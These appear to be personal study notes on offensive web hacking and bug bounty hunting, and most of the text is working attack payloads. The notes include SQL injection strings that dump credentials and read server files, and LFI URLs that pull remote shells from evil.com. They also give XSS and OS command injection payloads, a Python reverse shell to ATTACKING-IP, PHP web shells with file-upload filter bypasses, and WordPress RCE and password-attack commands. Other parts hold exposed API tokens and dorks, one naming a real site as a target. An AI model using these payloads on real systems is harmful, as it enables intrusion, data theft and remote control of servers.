

## Website Ethical Hacking

### **\*\* How website work:**

Html	> Just Create Web Content
Css	> Designing Web Content
JavaScript	> Dynamic and Interactive
PHP	> Server side of web Application and Dynamic
SQL	> Database Query

**\*\* Domain > TLD[Top level Domain], SLD [Secend Level Domain]**

### **TLD :**

1.gTLD > .com,.org,.edu

2.ccTLD > .bd,.in.pak

python3 -m http.server 1234 > **for create a server**

Protocol > http, https, ftp, ssh, dns, telnet

### **Http Methods:**

**GET** : The GET method requests a representation of the specified resource. Requests using GET should only retrieve data.

**HEAD** : The HEAD method asks for a response identical to a GET request, but without the response body.

**POST** : The POST method submits an entity to the specified resource, often causing a change in state or side effects on the server.

**PUT** : The PUT method replaces all current representations of the target resource with the request payload.

**DELETE** : The DELETE method deletes the specified resource.

**CONNECT** : The CONNECT method establishes a tunnel to the server identified by the target resource.

**OPTIONS** : The OPTIONS method describes the communication options for the target resource.

**TRACE** : The TRACE method performs a message loop-back test along the path to the target resource.

**PATCH** : The PATCH method applies partial modifications to a resource.

## Status Code:

- 1xx:** Informational provides information about a request in progress.
- 2xx:** Successful indicates that the request was received and accepted.
- 3xx:** Redirection indicates that the request has to be redirected.
- 4xx:** Client Error indicates that an error has occurred on the client.
- 5xx:** Server Error indicates that an error has occurred on the server.

200 (OK)  
301 (Moved Permanently)  
401 (Unauthorized)  
403 (Forbidden)  
404 (Not Found)  
408 (Request Timeout)  
429 (Too Many Requests)  
500 (Internal Server Error)  
502 (Bad Gateway)  
504 (Gateway Timeout)

**cookies:** Cookies are small files of information that a web server generates and sends to a web browser. Web browsers store the cookies they receive for a predetermined period of time, or for the length of a user's session on a website. They attach the relevant cookies to any future requests the user makes of the web server.

## SQL Injection A to Z:

- \* What is Sqli
- \* Types of Sqli
- \* Union based Sqli
- \* Error Based Sqli
- \* Blind Sql injection (Boolean based and Time based)
- \* Out of band Sql injection
- \* File read using SQLi
- \* Webshell Uploading about Sqli
- \* SqlMap

**SQL:** Structured Query Language is a domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.

**SQLI:** SQL injection attacks are a type of injection attack in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

## Types of SQLI:

1. **in-Band SQLI:** Error Based, Union Based
2. **Out of Band**
3. **Inferential:** Boolean Based, Time Based

## Subverting Query Logic/Authentication Bypass:::

- \* Login Page
- \* True Statement (or 1=1)
- \* Example

```
' or '1'='1
' or '1'='1'
' or '1'='1 -- -
' or '1'='1#
```

For More : <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>

### Bug Bounty Tips

This is how to find sql-Injection 100% of the time

```
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\|/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||' <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or'=''
/?q='')
/?q='')
/?q=-x()
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1-
```

### waf bypass sql injection::

- \* Double URL encoding
- \* Converting Hash
- \* Use Comment
- \* use Parenthesis
- \* Simple characters
- \* No Comma
- \* No Equal
- \* Case Modification

### In-Band SQL Injection:::

- \* **Error based:** Get the PHP or SQL errors in the front end
- \* **Union Based:** Get Fixed Column number and Uses Union Query to get database Information

### Error based SQL Injection::

- \* Use given Below Payload

' = %27

" = %22

; = %3B

) = %29

- \* if we get sql error, there has error based SQL Injection
- \* Use sqlmap for Automatic SQL Injection Pen-Testing/Manual Testing

## Union based SQL Injection:::

How to Identify union based SQL Injection:

- \* Combine data into single output
- \* data types of the selected columns should be the same
- \* Column number should be the same

### Method:

- \* Find out actual column number using order by / order by -- - operation
- \* use actual column number with union operation  
example :: ' union select 1,2,3-- -
- \* check which column number show in your target website

database(), user(),

**Step 1:** Schema/Database check:: ' UNION select 1,schema\_name,3,4 from INFORMATION\_SCHEMA.SCHEMATA-- -

**Step 2:** Tables check:: ' UNION select 1,TABLE\_NAME,TABLE\_SCHEMA,4 from INFORMATION\_SCHEMA.TABLES where table\_schema='dev'-- -  
[Here , dev is database name which will replace to your target database name]

**Step3:** Columns check:: ' UNION select 1,COLUMN\_NAME,TABLE\_NAME,TABLE\_SCHEMA from INFORMATION\_SCHEMA.COLUMNS where table\_name='credentials'-- -  
[Here , credentials is table name which will replace to your target table name]

**Step4:** Dum Data from table: ' UNION select 1, username, password, 4 from dev.credentials-- -  
[Where username and password are column name , dev is database name , credentials is table name]

**For More::** <https://github.com/cyberteach360/sql-injection>

read sensitive files content using SQL injection:::

### Step 1: Privilege Check

```
SELECT CURRENT_USER()  
' UNION SELECT 1,current_user(), 3, 4-- -
```

### Step 2: Load File

```
SELECT LOAD_FILE('/etc/passwd');  
' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -  
  
' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -  
' UNION SELECT 1, LOAD_FILE("/var/www/html/config.php"), 3, 4-- -
```

**table\_schema means database**

### Boolean Based SQL Injection ::

#### Step 1: Find out actual column number:

```
1.admin123' UNION SELECT 1;--  
2.admin123' UNION SELECT 1,2,3;--
```

if response is true till 1,2,3 but false in 1,2,3,4, the target column number is 3

#### Step 2: Find out database name:

```
admin123' UNION SELECT 1,2,3 where database() like 's%';--  
Sequentially change the character and check the response is true or false suppose we got the database name :sql_three
```

#### Step 3: Find out table name:

```
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sql_three' and table_name like 'a%';--  
Sequentially change the character and check the response is true or false suppose we got the table name :users
```

**Step 4:** Find out Column name:

```
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
```

After,sequentially Repeating this process you will get column name. suppose, the column name username and another is password

**Step 5:** Find out username column value

```
admin123' UNION SELECT 1,2,3 from users where username like 'a%
```

After,sequentially Repeating this process you will get column username value and this is:admin.

**Step 6:** Find out password column value

```
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
```

**Time Base SQL Injection ::**

```
admin123' UNION SELECT SLEEP(5);--
```

**Step 1:** Find out actual column number

```
admin123' UNION SELECT SLEEP(5);--
```

If there was no pause in the response time, we know that the query was unsuccessful, so like on previous tasks, we add another column: admin123' UNION SELECT SLEEP(5),2;--

if again no pause in the response time , increase column number like: admin123' UNION SELECT SLEEP(5),2,3;--

**Step 2:** Find out database name

```
admin123' UNION SELECT SLEEP(5),2,3 where database() like 'u%';--
```

**Step 3:** Find out table name

```
admin123' UNION SELECT SLEEp(5),2,3 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'a%';--
```

Here table name:users



**Step4:** Find out Column name

admin123' UNION SELECT SLEEP(5),2,3 FROM information\_schema.COLUMNS WHERE TABLE\_SCHEMA='sqli\_four' and TABLE\_NAME='users' and COLUMN\_NAME like 'a%';

**Step5:** Findout Column value

admin123' UNION SELECT SLEEP(5),2,3 from users where username like 'a%

- \* <https://www.heritageaviation.in/news.php?id=1>
- \* <https://www.heritageaviation.in/news.php?id=1>
- \* <https://www.heritageaviation.in/news.php?id=1'--> -
- \* <https://www.heritageaviation.in/news.php?id=1' order by 10--> - [Try to find inject table number]
- \* union based > union statement > Union All Select [You find some number that inject the malicious codes]
- \* union based > database > database name one shot
- \* union based > table > table name one shot
- \* union based > columns > column name one shot
- \* union based > data > data in one shot

Link : <https://github.com/cyberteach360/sql-injection>

LFI::

**Local File Inclusion** is an attack technique in which attackers trick a web application into either running or exposing files on a web server.

**Common LFI Payloads::**

> URL Encoding

<http://localhost/index.php?page=files.php>

<http://localhost/index.php?page=../../../../etc/passwd>

<http://localhost/index.php?page=http://google.com/>

<http://localhost/index.php?page=http://someevilhost.com/test.php>

<http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat/etc/passwd>

<http://example.com/index.php?page=etc/passwd>

<http://example.com/index.php?page=etc/passwd%00>

<http://example.com/index.php?page=../../../../etc/passwd>

<http://example.com/index.php?page=%252e%252e%252f>

<http://example.com/index.php?page=....//....//etc/passwd>

[/etc/issue](#)

[/etc/passwd](#)

[/etc/shadow](#)

[/etc/group](#)

[/etc/hosts](#)

[/etc/motd](#)

[/etc/mysql/my.cnf](#)

[/proc/\[0-9\]\\*/fd/\[0-9\]\\*](#) (first number is the PID, second is the filedescriptor)

[/proc/self/environ](#)

[/proc/version](#)

[/proc/cmdline](#)

<http://example.com/index.php?page=http://evil.com/shell.txt>

<http://example.com/index.php?page=http://evil.com/shell.txt%00>

<http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt>

<http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php>

<http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php>

<http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php>  
<http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd>  
<http://example.com/index.php?page=zip://shell.jpg%23payload.php>  
<http://example.net/?page=data://text/plain;base64,PD9waHAgaGc3IzdGVtKCRfR0VUWydkbWQnXSsk7ZWNObyAnU2hlbGwgZG9uZSAhJzsgPz4=>  
<http://example.com/index.php?page=php:expect://id>  
<http://example.com/index.php?page=php:expect://ls>

<http://example.com/index.php?page=../../etc/passwd>  
<http://example.com/index.php?page=../../etc/passwd%00>  
<http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd>  
<http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00>  
[http://example.com/index.php?page=../../etc/passwd.....\[ADD MORE\]](http://example.com/index.php?page=../../etc/passwd.....[ADD MORE])  
[http://example.com/index.php?page=../../etc/passwd\\.\.\.\.\.\[ADD MORE\]](http://example.com/index.php?page=../../etc/passwd\\.\.\.\.\.[ADD MORE])  
[http://example.com/index.php?page=../../etc/passwd/./././.\[ADD MORE\]](http://example.com/index.php?page=../../etc/passwd/./././.[ADD MORE])  
[http://example.com/index.php?page=../../\[ADD MORE\]../../etc/passwd](http://example.com/index.php?page=../../[ADD MORE]../../etc/passwd)  
<http://example.com/index.php?page=....//....//etc/passwd>  
<http://example.com/index.php?page=..////////..////////etc/passwd>  
<http://example.com/index.php?page=%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd>  
<http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt>  
<http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php>  
<http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php>  
<http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php>  
<http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php>  
<http://example.com/index.php?page=/var/log/apache/access.log>  
<http://example.com/index.php?page=/var/log/apache/error.log>  
<http://example.com/index.php?page=/var/log/apache2/access.log>  
<http://example.com/index.php?page=/var/log/apache2/error.log>  
<http://example.com/index.php?page=/var/log/nginx/access.log>  
<http://example.com/index.php?page=/var/log/nginx/error.log>  
<http://example.com/index.php?page=/var/log/vsftpd.log>  
<http://example.com/index.php?page=/var/log/sshd.log>  
<http://example.com/index.php?page=/var/log/mail>

[http://example.com/index.php?page=/var/log/httpd/error\\_log](http://example.com/index.php?page=/var/log/httpd/error_log)  
[http://example.com/index.php?page=/usr/local/apache/log/error\\_log](http://example.com/index.php?page=/usr/local/apache/log/error_log)  
[http://example.com/index.php?page=/usr/local/apache2/log/error\\_log](http://example.com/index.php?page=/usr/local/apache2/log/error_log)

For More : <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion>

## XSS::

- \* What is XSS attack
- \* Type of XSS Attack
- \* Reason of XSS attack
- \* Stored XSS with practical Demonstration
- \* Reflected XSS with Practical Demonstration

### What is Xss Attack:

Cross site Scripting(XSS) is a type of injection attack in which a thread actor inserts data, such as a malicious script into content from trusted websites. the malicious code is then included with dynamic content delivered to a victim's browser

```
<script>alert('Hello Who are you')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.domain)>
';alert('THM')//
" onload="alert('FUCK');
```

<https://github.com/T1M3-30M3/PayloadsAllTheThings>

<https://github.com/swisskyrepo/PayloadsAllTheThings>

### Type of XSS::

- \* Reflected XSS(RXSS)
- \* Stored XSS(SXSS)
- \* Dom based XSS(DBXSS)

### Stored XSS Attack:

- \* Persistent XSS
- \* It Occurs when user input is stored on the backend database and then displayed upon retrieval

**Example:** Posts or comments , user profile information , website listing etc

### Reflected XSS Attack:

- \* Non Persistent XSS
- \* It occurs when user input is displayed on the page after being processed by the backend server but without being stored
- \* Example: Search result or error message
- \* Sometimes HTTP headers, url file path, parameter in the url query string

```
';alert('THM');//  
" onload="alert('FUCK');
```

### OS Injection::

- \* SQLI (SQL Injection)
- \* OSI (Operating System Injection)
- \* SSTI (Server side Template Injection)
- \* XSSI (XSS Injection)

**OS Command Injection::** It is server side web vulnerabilities where attacker execute "System command" like id, whoami, uname etc or command

### When OS Command Injection Occur?

OS Command Injection occurs when server-side code (PHP Based) in a web application makes a system call on the hosting machine

### Type OS Command::

- \* Blind OS Command Injection
- \* Active OS command Injection

**Blind OS Command Injection** occurs when the system command made to the server does not return the response to the user in the html document.

**Active OS command Injection** occurs when the system command made to the server does return the response to the user in the html document.

## Payload ::

```
;id  
&ls  
|ls  
\nid\\\n  
;system('cat/etc/passwd')  
;system('cat%20/etc/passwd')  
?cmd={payload}  
?exec={command}  
?command={command}  
?execute{command}  
?ping={command}  
?query={command}  
?jump={command}  
?code={command}
```

normally: ; & && |or|

<https://github.com/commixproject/commix>

<https://github.com/payloadbox/command-injection-payload-list>

<https://github.com/swisskyrepo/PayloadsAllTheThings>

<https://highon.coffee/blog/reverse-shell-cheat-sheet/>

## Broken Authentication::

1. Session Management
2. Credential Management

## Cookies Hampering Process::

1. Using Cookie Editor
2. Storage Cookies

## Credentital Breaking

1. Brute Force Attack
2. Authentication Process

<https://github.com/danielmiessler/SecLists>

## File Upload Vulnerabilities:::

**File upload vulnerabilities** are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.

### impact:

- \* Well-shell Upload
- \* Reverse Shell Upload
- \* Remotly Control
- \* Security Loss
- \* Financial Loss

### \* Information Gathering::

- \*\* Server version and Name
- \*\* Which Shell
- \*\* Limitations
- \*\* Web shell or Reverse shell
- \*\* Allows Extention

**process:** first of all uplaod a file and then bruteforce directory with dirsearch or simillar tools. then execute it

**payload :** <?php system(\$\_GET['cmd']); ?>

**execute :** /uploads/shell.php?cmd=



**\* Filtering:**

- \*\* Client-side Filtering
- \*\* Server-side Filtering
- \*\* BlackList Filtering
- \*\* Whitelist Filtering
- \*\* Limited File Filtering

**\*\* Client-side Filtering**

**step 01** : Check Source Code Properly

**step 02** : Delete Filtering Code

**step 03** : Upload File and call uploaded file from uploaded directory

or

**step 01** : Intercept Code using Burp Suite [Response intercept]

**step 02** : Delete .js file and Forward

**step 03** : Upload file and call the file uploaded from uploaded Directory

**Server-side Filtering:**

- \* Extensions Filtering
- \* MIME-Type Filtering
- \* Content-Type Filtering
- \* File length Filtering

**Extention Filtering:**

- \* **Black List** : php, pthm,php3 etc
- \* **White List** : png,jpg,pdf etc

## Extention Filtering Bypass::

**Step 01** : Intercept the request using burp suite

**step 02** : Brute Force the extentions using burp intruder

**step 03** : Upload dhyell using perfect extention

**step 04** : call uploaded file from upload perfect directory

<https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/extensions-most-common.fuzz.txt>

## Content Type Filtering:

image/jpg, image/png, text/css, application/x-php

<https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt>

[https://en.wikipedia.org/wiki/List\\_of\\_file\\_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)

**MIME-Type Filtering:** It is a n internet standard that determines the type of a file through its genaral format and bytes structure

**Step 01** : Intercept code and check allow extentions

**step 02** : Collect allow extention magic bytes

**step 03** : add allow extention magic byte with web shell

**Note ::** 1st find that what extention are allow and then go to list of file signature and find those extention and copy the magic bytes and paste to the head of the file like :: GIF87a <?php system(\$\_REQUEST['cmd']); ?>

## Wordpress Pen-Testing::

- \* Basic Information aabout Wordpress Website
- \* Wordpress Structure
- \* Wordpress User Roles
- \* Wordpress Website Recon
- \* Wordpress Website Automation Enumeration + Manual
- \* Wordpress website Vulnerability Checking
- \* Attack Wordpress Website
- \* Attack Wordpress Website Using Metasploit
- \* RCE using the theme Editor

## Wordpress Structure:: tree -L 1 /var/www/html

```
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
```

### Default Login Path ::

- /wp-admin/login.php
- /wp-admin/wp-login.php
- /login.php
- /wp-login.php

### WP-Content ::

- index.php
- plugins
- themes

### WP-Includes ::

- theme.php
- update.php
- user.php
- vars.php
- version.php
- widgets
- widgets.php
- wlwmanifest.xml
- wp-db.php
- wp-diff.php

### Wordpress Version Check :

```
curl -s -X GET http://blog.inlanefreight.com | grep '<meta name="generator"'
```

### Plugins :

```
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d'"' -f2
```

### Themes Enumeration :

```
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d'"' -f2
```

### User Enumeration:

```
curl http://blog.inlanefreight.com/wp-json/wp/v2/users
```

```
wpscan --url http://10.129.2.37/ --enumerate --api-token cs0QRHwsYE6RvLd6SaHDhI1dmNX8ZVLEx0Fb7mNid9s  
wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlanefreight.com  
wpscan --url www.abc.xyz -e u --api-token gUL4y18pes98Ma0uGlvUVggsda3a0n6OOyhsyK3ox94  
wpscan --url www.abc.xyz --usernames admin --passwords /home/kali/Desktop/rockyou.txt
```

For RCE :: Theme > 404 Template

```
<?php system($_GET['cmd']); ?>  
/wp-content/themes/themes_name/404.php?cmd=
```

Prepared By : [Zaber Mahmud](#)

# Website Ethical Hacking and Pentesting

**Recon:** Reconnaissance is the practice of covertly discovering and collating information about a system. In other words, recon is the process of obtaining information about the position, activities, resources, etc.

**Active reconnaissance** is a type of computer attack in which an intruder engages with the targeted system to gather information about vulnerabilities. This may be through automated scanning or manual testing using various tools like ping, traceroute, netcat, etc. This type of recon requires that the attacker interact with the target. This recon is faster and more accurate, but it also makes much more noise.

**Passive reconnaissance** is an attempt to gain information about targeted computers and networks by actively engaging with the systems. It is gathering the information without alerting the victim host, which drastically increases security against the attack.

**What kind of Information we are need:**

## **Network Information**

- \* Ip Address
- \* Domain names
- \* services
- \* VPN/IDS/IPS/Firewall Information

## **Operating System Information**

- \* user/group name
- \* Service Information
- \* System Architecture
- \* System Type

## Public Network

- \* Network
- \* Phone<email
- \* DNS, Whois
- \* Social Network, Dorking, Social Media
- \* Archive Machine, Website, Source Code, Site Map

## Internal network

- \* Private Ip Address, Local Website , Internal DNS

## Website:

- \* Look at the website carefully
- \* Look at the sitemap
- \* find external link
- \* look at the source code
- \* Mirror te website(wget)
- \* Try to find old link(Archive.org)
- \* If not found any contact number or any personal Information then whois

waybackurls <link> for showing all previous and present links

inurl:php.id==? site:.in for finding website

<https://who.is/> for whois Information

<https://ipinfo.info/> for knowing the ip

phoneinfoga scan -p "phone number"

python3 ghunt.py gmail "abc@xyz"

<https://dnsdumpster.com/>

<https://subdomainfinder.c99.nl/>

<https://osint.sh/subdomain/>

<https://bgp.he.net/>

<https://search.censys.io/>

python3 linkfinder.py -i <link>

arjun -u <link>

<https://github.com/smicalleg/spiderfoot>  
<https://github.com/kennbroorg/iKy>  
<https://github.com/owasp-amass/amass>  
<https://github.com/JehadAlqurashi/BlackDir-Framework>

amass intel -orrg att

### **Subdomain Enumeration:**

<https://subdomainfinder.c99.nl/>  
<https://osint.sh/subdomain/>  
<https://hackertarget.com/find-dns-host-records/>  
<https://crt.sh/>  
<https://github.com/aboul3la/Sublist3r>  
<https://github.com/owasp-amass/amass>  
<https://github.com/projectdiscovery/subfinder>  
<https://github.com/guelfoweb/knock>  
<https://github.com/TheRook/subbrute>  
<https://github.com/michenriksen/aquatone>  
<https://github.com/Findomain/Findomain>  
<https://github.com/lanmaster53/recon-ng>  
<https://github.com/nsonaniya2010/SubDomainizer>  
<https://github.com/infosec-au/altdns>  
<https://github.com/tomnomnom/assetfinder>

assetfinder google.com | httpx -status-code -title  
sublit3r -d google.com -b  
amass enum -passive -d google.com



## Os Command Injection::

### payload:

```
;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### ; itis must

ATTACKING-IP,80 >> your ip,your port

**Trigger::** nc -lvnp port

**Cheatsheet::** <https://highon.coffee/blog/reverse-shell-cheat-sheet/>

**This is Blind Os Command Injection and also RCE**

**LFI :** This vulnerability arises when the user controllable input is being used to include a file from the server without proper check

### in php :

include(),include\_once(),require\_once() and sometimes fopen() function are responsible for LFI Vulnerability

### Code Example:

#### POST based LFI:

```
<?
$page=$_POST['page'];
include $page;
?>
```

#### GET based LFI:

```
<?
$page=$_GET['page'];
include $page;
?>
```

**Parameter::** file, document, folder, root, path, page, style, pdf, template, php\_pah, doc

## IDOR:

- \* Insecure Direct Object Reference
- \* Change value of Parameter

### Example:

[https://example.com/bank?account\\_number=1234](https://example.com/bank?account_number=1234)

## Some Bug Bounty TIPS:

### Find blind XSS endpoints

1. Visit your email client like Gmail etc.
2. Search for Unsubscribe/feedback/Manage preferences.
3. Click on Unsubscribe and put BXSS payload if they ask for any feedback

### Google Dork To Open Redirect

site:\*.target.com inurl:%2f  
%2f is the URL encoding for /

### I found lot bugs using this dorks in github

```
"Target.com" language:yml  
"Target. com" language:yml "_key"  
"Target. com" language:yml "admin"  
"Target. com" language:yml "root"  
"Target. com" language:yml "host"
```

## Xss Dorks By SoulCoder

\*-----\*

inurl:".php?cmd="

inurl:".php?z="

inurl:".php?q="

inurl:".php?search="

inurl:".php?query="

inurl:".php?searchstring="

inurl:".php?keyword="

inurl:".php?file="

inurl:".php?years="

inurl:".php?txt="

inurl:".php?tag="

inurl:".php?max="

inurl:".php?from="

inurl:".php?author="

inurl:".php?pass="

inurl:".php?feedback="

inurl:".php?mail="

inurl:".php?cat="

inurl:".php?vote="

inurl:search.php?q=

inurl:com\_feedpostold/feedpost.php?url=

inurl:scrapbook.php?id=

inurl:headersearch.php?sid=

inurl:/poll/default.asp?catid=

inurl:/search\_results.php?search=

## Bug Bounty Tips This is how to find sql-Injection 100% of the time

```
/?q=1  
/?q=1'  
/?q=1"  
/?q=[1]  
/?q[]=1  
/?q=1`  
/?q=1\  
/?q=1/**/  
/?q=1/*!1111'*/  
/?q=1'⋮⋮⋮⋮⋮' <== concat string  
/?q=1' or '1'=1  
/?q=1 or 1=1  
/?q='or'='  
/?q=)"  
/?q=')  
/?q=-x()
```

### 🔥 Best Info Researcher for OSINT 🔥

<https://github.com/jivoi/awesome-osint>  
<https://github.com/tracelabs/awesome-osint>  
<https://awesomeopensource.com/projects/osint>  
<https://osint.link/>  
<https://github.com/priyankvadaliya/AwsomeOSINT>  
<https://osintframework.com/>  
<https://www.toddington.com/resources/free-osint-resources-open-source-intelligence-search-tools-research-tools-online-investigation/>  
<https://gijn.org/online-research-tools/>  
<https://www.osinttechniques.com/osint-tools.html>  
<https://iamciso.wordpress.com/osint/tools/>  
<https://rr.reuser.biz/>  
<https://www.symbaloo.com/mix/osintsearchtools>

## Bug Bounty Beginner's Roadmap

This is a resource factory for anyone looking forward to starting bug hunting and would require guidance as a beginner. : <https://github.com/bittentech/Bug-Bounty-Beginner-Roadmap>

I found lot bugs using this dorks in github

```
"Target.com" language:yml  
"Target. com" language:yml "_key"  
"Target. com" language:yml "admin"  
"Target. com" language:yml "root"  
"Target. com" language:yml "host"
```

Some Wordpress Important Directory:

```
/wp-json/wp/v2/users  
/wp/wp-admin/install.php  
/wp/wp-admin/upgrade.php  
/wp-admin/install.php  
/wp-admin/install.php
```

Prepared By : [Zaber Mahmud](#)